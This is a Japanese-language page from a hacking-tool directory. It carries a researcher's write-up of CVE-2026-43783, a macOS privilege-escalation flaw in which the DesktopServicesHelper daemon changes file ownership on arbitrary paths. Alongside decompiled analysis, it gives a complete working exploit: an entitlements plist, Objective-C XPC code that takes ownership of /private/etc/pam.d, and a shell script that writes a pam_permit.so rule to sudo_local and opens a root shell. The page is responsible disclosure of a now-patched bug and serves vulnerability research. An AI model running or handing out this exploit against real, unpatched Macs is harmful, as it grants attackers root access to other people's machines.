Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/andrd3v/cve-2026-43783
特権昇格脆弱性分析エクスプロイトリバースエンジニアリングペネトレーションテストバイナリ解析論文と研究
GitHubandrd3v/cve-2026-43783

CVE-2026-43783

CVE-2026-43783の概念実証および技術解説。DesktopServicesHelper XPCの任意chownを悪用してroot権限を取得するmacOSのローカル権限昇格脆弱性。

リポジトリを見る
26日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-43783: 権限修復 - ルート取得: macOS 26.5 の DesktopServicesHelper を介した LPE

Finder が iCloud ファイルの権限を「修復」するために使用するデーモンは、あらゆるもの - システムディレクトリを含む - の権限を修復する用意があることが判明しました。この記事では、DesktopServicesHelper が内部でどのように動作するのか、そしてなぜ単一の XPC リクエストで root を取得するのに十分だったのかを見ていきます。

DesktopServicesHelper の内部

私は com.apple.private.tcc.allow で値が kTCCServiceSystemPolicyAllFiles のターゲットを探しており、DesktopServicesHelper が目に留まりました。DesktopServicesHelper は /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper にあり、Finder は特権昇格が必要なファイル操作 - ファイルの移動、権限の設定、ゴミ箱の操作 - にこれを使用します。

Entitlements DesktopServicesHelper

バイナリを IDA にロードし、start() に移動しました。通常のタイマーとキューのセットアップを過ぎると、XPC リスナーを作成します - これがデーモンのエントリポイントです。リスナーは特定の名前で mach サービスを登録し、受信接続の待ち受けを開始します。この名前を知っているプロセスは誰でも接続してリクエストを送信できます。ここが重要な部分です:```c // get the service name v16 = (const char *)sub_1000709F4(a1: 0);

// register the listener mach_service = xpc_connection_create_mach_service(name: v16, targetq: nullptr, flags: 1u);

// set the incoming event handler xpc_connection_set_event_handler(connection: mach_service, handler: &stru_1000B4B48); xpc_connection_resume(connection: mach_service);

// start the event loop CFRunLoopRun();

root@kitploit:~
関数 `sub_1000709F4` は mach サービス名を返します。`start()` 内では引数 0 で呼び出されており、これはデーモンが `com.apple.DesktopServicesHelper` という名前で登録されることを意味します。```c
const char *__fastcall sub_1000709F4(int a1)
{
  if ( a1 != 0 )
    return "com.apple.DesktopServicesScriptingHelper";
  else
    return "com.apple.DesktopServicesHelper";
}

stru_1000B4B48 は、デーモンが受信するすべてのイベントに対して呼び出すハンドラブロック(コールバック)です。XPC はメッセージベースです。クライアントはキーと値を持つ辞書を構築してデーモンに送信し、デーモンはその内容を解析して何を行うかを決定します。受信するすべてのイベントはこのハンドラに到達します。内部を見てみましょう。

IDA における stru_1000B4B48

このブロックの invoke 関数は sub_100032044 です。新しい接続が確立されると、デーモンはまずクライアントの euid と egid(実効ユーザー ID とグループ ID)を取得します。これらは、接続しているプロセスが実行されているユーザーとグループの識別子です。```c euid = xpc_connection_get_euid(connection: v8); egid = xpc_connection_get_egid(connection: v8); sub_100071268(a1: euid, a2: egid);

root@kitploit:~
次に、接続上の受信メッセージに対するハンドラを割り当てます:```c
v15[2] = sub_10003AB2C;  // block's invoke function
xpc_connection_set_event_handler(connection: v14, handler: v15);
xpc_connection_resume(connection: v14);

sub_10003AB2C - ここがクライアントからの実際の XPC リクエストが到着する場所です。次に、デーモンがどのリクエストを実行し、どれを拒否するかをどのように決定するかを理解する必要があります。

リクエストディスパッチャ

sub_10003AB2C はメインディスパッチャです。ここでデーモンはリクエストをどう処理するかを決定します。この関数は大きいので、分解して見ていきましょう。

まず、メッセージから "request" 文字列を取得します。これはクライアントが実行したいコマンド名です:```c reply = xpc_dictionary_create_reply(original: v12); string = xpc_dictionary_get_string(xdict: v12, key: "request"); // ... // logging: "Got Request '%{public}@'"

root@kitploit:~
次に、デーモンは接続プロセスの監査トークンを取得し、それがApp Sandbox内で実行されているかどうかを確認します。App Sandboxは、ファイルシステム、ネットワーク、その他のリソースへのアクセスを制限するmacOSのアプリケーション分離メカニズムです。ここで分岐します:```c
xpc_dictionary_get_audit_token(a1: v12, a2: buf);
qmemcpy(__p, buf, sizeof(__p));
if ( (unsigned int)sandbox_check_by_audit_token(a1: __p, a2: 0, a3: 0) != 0 )
{
  // client is sandboxed - check against allowlist
  if ( (sub_10003B25C(a1: &v32, a2: "Handshake") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "exit") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "SetDefaultPermissionOnHomeSubdirectories") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "MoveAsideICloudToArchiveInHome") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "RepairPermissionsForCloudItems") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "CopyClientActive") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "DeleteItem") & 1) == 0 )
  {
    sub_100034250(a1: v12, a2: &v32); // not in the list - kill the daemon
  }
}
else
{
  // client is not sandboxed - check entitlement
  *(_QWORD *)buf = sub_1000343C0(a1: v12, a2: CFSTR("com.apple.private.tcc.allow"));
  v19 = (const __CFArray *)sub_10003B1E0();
  v20 = v19;
  if ( v19 == nullptr
    || (v35.length = CFArrayGetCount(theArray: v19),
        v35.location = 0,
        CFArrayContainsValue(theArray: v20, range: v35, value: CFSTR("kTCCServiceSystemPolicyAllFiles")) == 0) )
  {
    sub_100034250(a1: v12, a2: &v32); // no entitlement - kill the daemon
  }
}

クライアントがサンドボックス化されている場合、リクエスト名は7つの文字列の許可リストと照合される。一致すればチェックを通過し、リクエストは通る。一致しなければ、sub_100034250 がデーモンを強制終了する。 クライアントがサンドボックス化されていない場合、デーモンは値 kTCCServiceSystemPolicyAllFiles を持つ com.apple.private.tcc.allow エンタイトルメントを確認する。エンタイトルメントがなければ、これもまた死を意味する。

チェックを通過した後、リクエストは2つのハンドラテーブルを順に通過する。まず sub_10002F7C8、次に sub_10002A194 である:```c // first table (8 commands, two arguments) v21 = sub_10002F7C8(a1: buf); // ... if ( v21 != 0 ) v22(a1: v12, a2: v11); // found - invoke

// second table (21 commands, three arguments) v27 = sub_10002A194(a1: buf); // ... if ( v27 != nullptr ) v27(a1: v12, a2: reply, a3: v11); // found - invoke

root@kitploit:~
次に、ハンドラテーブルを見てみましょう。最初のテーブル(`sub_10002F7C8`):```c
__int64 __fastcall sub_10002F7C8(__int64 a1)
{
  __int64 result; // x0
  void **v3; // x21
  void **v4; // x8
  _BYTE v5[32]; // [xsp+8h] [xbp-128h] BYREF
  __int64 v6; // [xsp+28h] [xbp-108h] BYREF
  __int64 v7; // [xsp+48h] [xbp-E8h] BYREF
  __int64 v8; // [xsp+68h] [xbp-C8h] BYREF
  __int64 v9; // [xsp+88h] [xbp-A8h] BYREF
  __int64 v10; // [xsp+A8h] [xbp-88h] BYREF
  __int64 v11; // [xsp+C8h] [xbp-68h] BYREF
  __int64 v12; // [xsp+E8h] [xbp-48h] BYREF
  __int64 v13; // [xsp+108h] [xbp-28h] BYREF

  if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD8C8, memory_order_acquire) & 1) == 0
    && __cxa_guard_acquire(a1: &qword_1000BD8C8) != 0 )
  {
    sub_10002AA78(a1: (int)v5, __s: "OperationSizing");
    sub_10002AA78(a1: (int)&v6, __s: "SetChildPermissions");
    sub_10002AA78(a1: (int)&v7, __s: "RunTrashOperation");
    sub_10002AA78(a1: (int)&v8, __s: "ChildCreateLock");
    sub_10002AA78(a1: (int)&v9, __s: "RunSetRootMetadata");
    sub_10002AA78(a1: (int)&v10, __s: "RunCopyMoveOperation");
    sub_10002AA78(a1: (int)&v11, __s: "DeleteBackup");
    sub_10002AA78(a1: (int)&v12, __s: "DeleteItem");
    sub_10003BDDC(a1: &unk_1000BD8A0, a2: v5, a3: 8);
    v3 = (void **)&v13;
    do
    {
      v4 = v3;
      v3 -= 4;
      if ( *((char *)v4 - 9) < 0 )
        operator delete(__p: *v3);
    }
    while ( v3 != (void **)v5 );
    __cxa_guard_release(a1: &qword_1000BD8C8);
  }
  result = sub_10003BCF0(a1: &unk_1000BD8A0, a2: a1);
  if ( result != 0 )
    return *(_QWORD *)(result + 40);
  return result;
}

ここには特に興味深いものはない。8つのハンドラ(OperationSizing、SetChildPermissions、...)があり、すべてエンタイトルメントチェックで保護されている。 しかし、2つ目のテーブルがある - v27 = sub_10002A194(a1: buf):```c __int64 __fastcall sub_10002A194(__int64 a1) { __int64 result; // x0 void **v3; // x21 void **v4; // x8 _BYTE v5[32]; // [xsp+8h] [xbp-2C8h] BYREF __int64 v6; // [xsp+28h] [xbp-2A8h] BYREF __int64 v7; // [xsp+48h] [xbp-288h] BYREF __int64 v8; // [xsp+68h] [xbp-268h] BYREF __int64 v9; // [xsp+88h] [xbp-248h] BYREF __int64 v10; // [xsp+A8h] [xbp-228h] BYREF __int64 v11; // [xsp+C8h] [xbp-208h] BYREF __int64 v12; // [xsp+E8h] [xbp-1E8h] BYREF __int64 v13; // [xsp+108h] [xbp-1C8h] BYREF __int64 v14; // [xsp+128h] [xbp-1A8h] BYREF __int64 v15; // [xsp+148h] [xbp-188h] BYREF __int64 v16; // [xsp+168h] [xbp-168h] BYREF __int64 v17; // [xsp+188h] [xbp-148h] BYREF __int64 v18; // [xsp+1A8h] [xbp-128h] BYREF __int64 v19; // [xsp+1C8h] [xbp-108h] BYREF __int64 v20; // [xsp+1E8h] [xbp-E8h] BYREF __int64 v21; // [xsp+208h] [xbp-C8h] BYREF __int64 v22; // [xsp+228h] [xbp-A8h] BYREF __int64 v23; // [xsp+248h] [xbp-88h] BYREF __int64 v24; // [xsp+268h] [xbp-68h] BYREF __int64 v25; // [xsp+288h] [xbp-48h] BYREF __int64 v26; // [xsp+2A8h] [xbp-28h] BYREF

if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD898, memory_order_acquire) & 1) == 0 && __cxa_guard_acquire(a1: &qword_1000BD898) != 0 ) { sub_10002AA78(a1: (int)v5, __s: "Handshake"); sub_10002AA78(a1: (int)&v6, __s: "MoveAndRename"); sub_10002AA78(a1: (int)&v7, __s: "SetDefaultPermissionOnHomeSubdirectories"); sub_10002AA78(a1: (int)&v8, __s: "MoveAsideICloudToArchiveInHome"); sub_10002AA78(a1: (int)&v9, __s: "RepairPermissionsForCloudItems"); sub_10002AA78(a1: (int)&v10, __s: "CheckPermissionsForCloudItem"); sub_10002AA78(a1: (int)&v11, __s: "AbortResumableCopy"); sub_10002AA78(a1: (int)&v12, __s: "SetLabel"); sub_10002AA78(a1: (int)&v13, __s: "SetAppCategories"); sub_10002AA78(a1: (int)&v14, __s: "CreateIconFile"); sub_10002AA78(a1: (int)&v15, __s: "RemoveIconFile"); sub_10002AA78(a1: (int)&v16, __s: "RepairTrash"); sub_10002AA78(a1: (int)&v17, __s: "Rename"); sub_10002AA78(a1: (int)&v18, __s: "CreateFolder"); sub_10002AA78(a1: (int)&v19, __s: "CreateAlias"); sub_10002AA78(a1: (int)&v20, __s: "RemoveTrashItemsOlderThanDate"); sub_10002AA78(a1: (int)&v21, __s: "SetTags"); sub_10002AA78(a1: (int)&v22, __s: "cancel"); sub_10002AA78(a1: (int)&v23, __s: "pause"); sub_10002AA78(a1: (int)&v24, __s: "resume"); sub_10002AA78(a1: (int)&v25, __s: "exit"); sub_10003B360(a1: &unk_1000BD870, a2: v5, a3: 21); v3 = (void **)&v26; do { v4 = v3; v3 -= 4; if ( *((char *)v4 - 9) < 0 ) operator delete(__p: *v3); } while ( v3 != (void **)v5 ); __cxa_guard_release(a1: &qword_1000BD898); } result = sub_10003BCF0(a1: &unk_1000BD870, a2: a1); if ( result != 0 ) return *(_QWORD *)(result + 40); return result; }

root@kitploit:~
これで21個のハンドラが得られる。ディスパッチャはカスケード方式で動作する。まず最初のテーブル(`sub_10002F7C8`、8コマンド)でリクエスト名を検索する。これらはXPC接続とピア(クライアントオブジェクト)を受け取るが応答を返さない「ファイア・アンド・フォーゲット」操作である。見つからなければ、2番目のテーブル(`sub_10002A194`、21コマンド)を検索する。これらは応答を伴う操作で、さらにクライアントに結果を送り返すためのオブジェクト(reply)を受け取る。
ほとんどすべてのコマンドは興味深いことを何も行わないか、エンタイトルメントチェックで保護されている。しかし、オープンなものが1つある - `RepairPermissionsForCloudItems` だ。そのハンドラを探そう。アセンブリを見ると、`sub_10002AA78` が第3引数として関数ポインタを受け取っていることがわかる:```asm
__text:000000010002A2AC                 MOV             X2, X16
__text:000000010002A2B0                 MOV             X0, X20 ; int
__text:000000010002A2B4                 BL              sub_10002AA78
__text:000000010002A2B8                 ADD             X21, SP, #0x2D0+var_2C8
__text:000000010002A2BC                 ADD             X20, X21, #0x80
__text:000000010002A2C0                 ADRL            X1, aRepairpermissi ; "RepairPermissionsForCloudItems"
__text:000000010002A2C8                 ADRL            X16, sub_10002D744
__text:000000010002A2D0                 PACIZA          X16

RepairPermissionsForCloudItems -> sub_10002D744。サンドボックスから追加のエンタイトルメントなしでアクセスできる唯一のハンドラが見つかりました。次に、受け取ったデータを実際にどう処理するかを見てみましょう。

RepairPermissionsForCloudItems ハンドラの分析

ハンドラ sub_10002D744 は3つのことを行います。まず、XPC メッセージから "Paths" キーを抽出し、NSKeyedUnarchiver を介して文字列配列にデシリアライズします:```c v8 = objc_claimAutoreleasedReturnValue((id)sub_100028810(a1: v5, a2: "Paths")); v9 = objc_claimAutoreleasedReturnValue( +[NSKeyedUnarchiver unarchivedArrayOfObjectsOfClass:fromData:error:]( &OBJC_CLASS___NSKeyedUnarchiver, "unarchivedArrayOfObjectsOfClass:fromData:error:", objc_opt_class(a1: &OBJC_CLASS___NSString), v8, &v25));

root@kitploit:~
その後、各パスを `sub_100034B5C` を介して `sub_100029CE4` に渡し、「repair」が必要かどうかを判定する。repair が必要なパスに対しては、`sub_10002A11C` を呼び出す:```c
sub_100034B5C(a1: v22, a2: v24, a3: sub_100029CE4);
if ( v22[0] != v22[1] )
  sub_10002A11C(a1: v5, a2: v22);

パス検証は存在しません。渡されたものは何でも処理されます。関数 sub_100029CE4 は「repair」が必要かどうかをチェックします。以下がその主要なロジックです:```c v3 = lstat(a1: v2, a2: &v28); // ... if ( (v28.st_mode & 0xF000) != 0x4000 && v28.st_nlink > 1u ) return false; // not a directory + hardlinks > 1 - skip v6 = sub_100071288(a1: v4); // get caller's UID if ( v28.st_uid != v6 ) return true; // owner doesn't match - repair needed

root@kitploit:~
チェックロジック:```
lstat(path)
  |
  +- not a directory && hardlinks > 1 ?
  |     +- yes -> false (skip)
  |
  +- st_uid == our UID ?
  |     +- yes -> false (owner matches, no repair needed)
  |     +- no -> true (repair needed)
  |
  +- directory ?
        +- yes -> recurse into contents

修復が必要なパスに対しては、sub_10002A11C が呼び出される。これは結果を反復処理し、それぞれに対して sub_100029440 を呼び出す単純なループである。以下が sub_100029440 の主要なロジックである:```c fd = open(path, 0x200000); fstat(fd, &st);

// only check: not a directory + hardlinks >= 2 - skip if ( (st.st_mode & 0xF000) != 0x4000 && st.st_nlink >= 2u ) return close(fd);

// get caller's UID (ours - 501) caller_uid = sub_100071288();

// owner doesn't match - change to ours if ( st.st_uid != caller_uid ) fchown(fd, caller_uid, st.st_gid);

close(fd);

// if directory - recursively call itself for each item if ( (st.st_mode & 0xF000) == 0x4000 ) sub_100029440(child_path);

root@kitploit:~
以上です。デーモンは提供されたパスに対して `fchown` を呼び出しますが、それが `~/Library/Mobile Documents/` や任意の iCloud コンテナ内に存在するかどうかを確認しません。そして、パスがディレクトリの場合、関数はその内容をすべて再帰的に走査し、すべての項目に対して `fchown` を呼び出します。
もう一度読んでください。よく噛みしめてください。任意のディレクトリを渡せば、その内容すべてを所有できます。

## まとめ

XPC リクエストから `fchown` に至るまでの完全な連鎖:```
Sandboxed app
  |
  +- xpc_connection_create_mach_service("com.apple.DesktopServicesHelper")
  |
  +- xpc_dictionary: "request" = "RepairPermissionsForCloudItems"
  |                   "Paths"   = ["/private/etc/pam.d"]
  |
  +- send --> DesktopServicesHelper (root)
                    |
                    +- sandbox_check: client sandboxed? -> yes
                    +- allowlist: RepairPermissionsForCloudItems? -> yes, pass through
                    +- NSKeyedUnarchiver: extract paths
                    +- lstat: st_uid != caller_uid? -> yes, repair needed
                    +- fchown(path, 501, gid) <- arbitrary path, no validation

1つのXPCリクエスト - それだけで任意のファイルやディレクトリが我々のものになる。

エクスプロイト

つまり、ディスク上の任意のパスに対して任意の chown が可能だ。あとはこれをrootに昇格させるだけだ。 macOSでは、認証はPAMを経由する。設定は /private/etc/pam.d/ にあり、パスワードをチェックするプログラムごとに1ファイル存在する: sudo、login、su など。このディレクトリは root:wheel が所有している。つまり、我々の chown でその所有権を奪うことができる。その後は、/private/etc/pam.d/sudo_local というファイルを次の1行で自由に作成できる:``` auth sufficient pam_permit.so

root@kitploit:~
`pam_permit.so` は常に成功を返す PAM モジュールです。`sudo` はメイン設定の前に `sudo_local` をチェックします。結果として、`sudo` はパスワードを要求しなくなります。

しかし、落とし穴があります。サンドボックスから `com.apple.DesktopServicesHelper` に単純に接続することはできません。サンドボックスはデフォルトでこのサービスへの mach-lookup をブロックするからです。しかし、デーモン自体は呼び出し元プロセスがサンドボックス化されていることを確認し、その場合に限り `RepairPermissionsForCloudItems` をエンタイトルメントチェックなしで通します。皮肉なことに、ここでのサンドボックスは防御ではなく、パスなのです。

mach-lookup をサンドボックス越しに通すには、`com.apple.security.temporary-exception.mach-lookup.global-name` エンタイトルメントが必要です。以下が PoC アプリケーション用の最小エンタイトルメントセットです:```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.security.app-sandbox</key>
    <true/>
    <key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
    <array>
        <string>com.apple.DesktopServicesHelper</string>
    </array>
</dict>
</plist>

2つのエンタイトルメント。 com.apple.security.app-sandbox - サンドボックスを有効にします(これがないと、デーモンはTCCエンタイトルメントを要求し、私たちを拒否します)。 com.apple.security.temporary-exception.mach-lookup.global-name - サンドボックス例外エンタイトルメントです。 サンドボックスはすべてのmachサービスへの接続を許可しておらず、com.apple.DesktopServicesHelperは許可リストに含まれていません。このキーは特定のサービスに対する例外を追加します。必要なのはこれだけです。コードはそのままViewController.mに入ります。重要なメソッドはchownPath:で、これはデーモンに接続してリクエストを送信します:```objc

  • (void)chownPath:(NSString *)path { xpc_connection_t conn = xpc_connection_create_mach_service( "com.apple.DesktopServicesHelper", NULL, 0); if (!conn) return;

    xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {}); xpc_connection_resume(conn);

    NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ] requiringSecureCoding:YES error:nil];

    xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems"); xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length);

    xpc_connection_send_message_with_reply_sync(conn, msg); }

root@kitploit:~
`com.apple.DesktopServicesHelper` に接続し、`NSKeyedArchiver` を介してパスを `NSArray` にアーカイブし(デーモンが期待する形式)、キー `"request"` = `"RepairPermissionsForCloudItems"` を持つ XPC 辞書を構築して送信します。

アプリ起動時に、`/private/etc/pam.d` に対して `chownPath:` を呼び出し、結果を確認します:```objc
- (void)runExploit
{
  [self chownPath:@"/private/etc/pam.d"];
  usleep(200000);

  struct stat st;
  if (lstat("/private/etc/pam.d", &st) != 0) return;

  if (st.st_uid == getuid())
      NSLog(@"ok");
}

200ms 待機後、lstat を実行 — 所有者が我々の UID に変わっていれば、chown は成功した。

では、すべてをまとめよう。シェルスクリプトは PoC アプリケーションを起動し、デーモンが処理を完了するのを待ち、chown が成功したことを検証し、PAM ルールを書き込み、root を取得する:```sh #!/bin/sh set -e

PAM_DIR="/private/etc/pam.d" SUDO_LOCAL="$PAM_DIR/sudo_local"

our application

./poc.app/Contents/MacOS/poc & POC_PID=$! sleep 4 kill $POC_PID 2>/dev/null || true wait $POC_PID 2>/dev/null || true

if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then echo "chown failed" exit 1 fi

echo 'auth sufficient pam_permit.so' > "$SUDO_LOCAL" chmod 644 "$SUDO_LOCAL"

root

sudo id sudo su

root@kitploit:~
## Appleのパッチ
Appleは`RepairPermissionsForCloudItems`ハンドラーの冒頭にエンタイトルメントチェックを追加しました:```c
if ( (sub_100034110(a1: v5,
        a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 )
{
  sub_100034250(a1: v5, a2: v22); // no entitlement - kill the daemon
}

これで、プライベートエンタイトルメント com.apple.private.desktopservices.cloud-repair-perm を持つプロセスのみが RepairPermissionsForCloudItems を呼び出せるようになりました。これがない場合、sub_100034250 がデーモンを強制終了します。関数の残りのロジックは変更されていません。

タイムライン

日付出来事
2026/05/09Apple Product Security に報告を提出
2026/05/11Apple が報告をレビューに移動
2026/05/13Apple がバグを再現し、秋の修正を予定

読んでいただきありがとうございました。ハッピーバグハンティング!

ツールをダウンロード
2026/05/26macOS 26.6 beta 1 でパッチ適用
2026/08/11CVE-2026-43783 を割り当て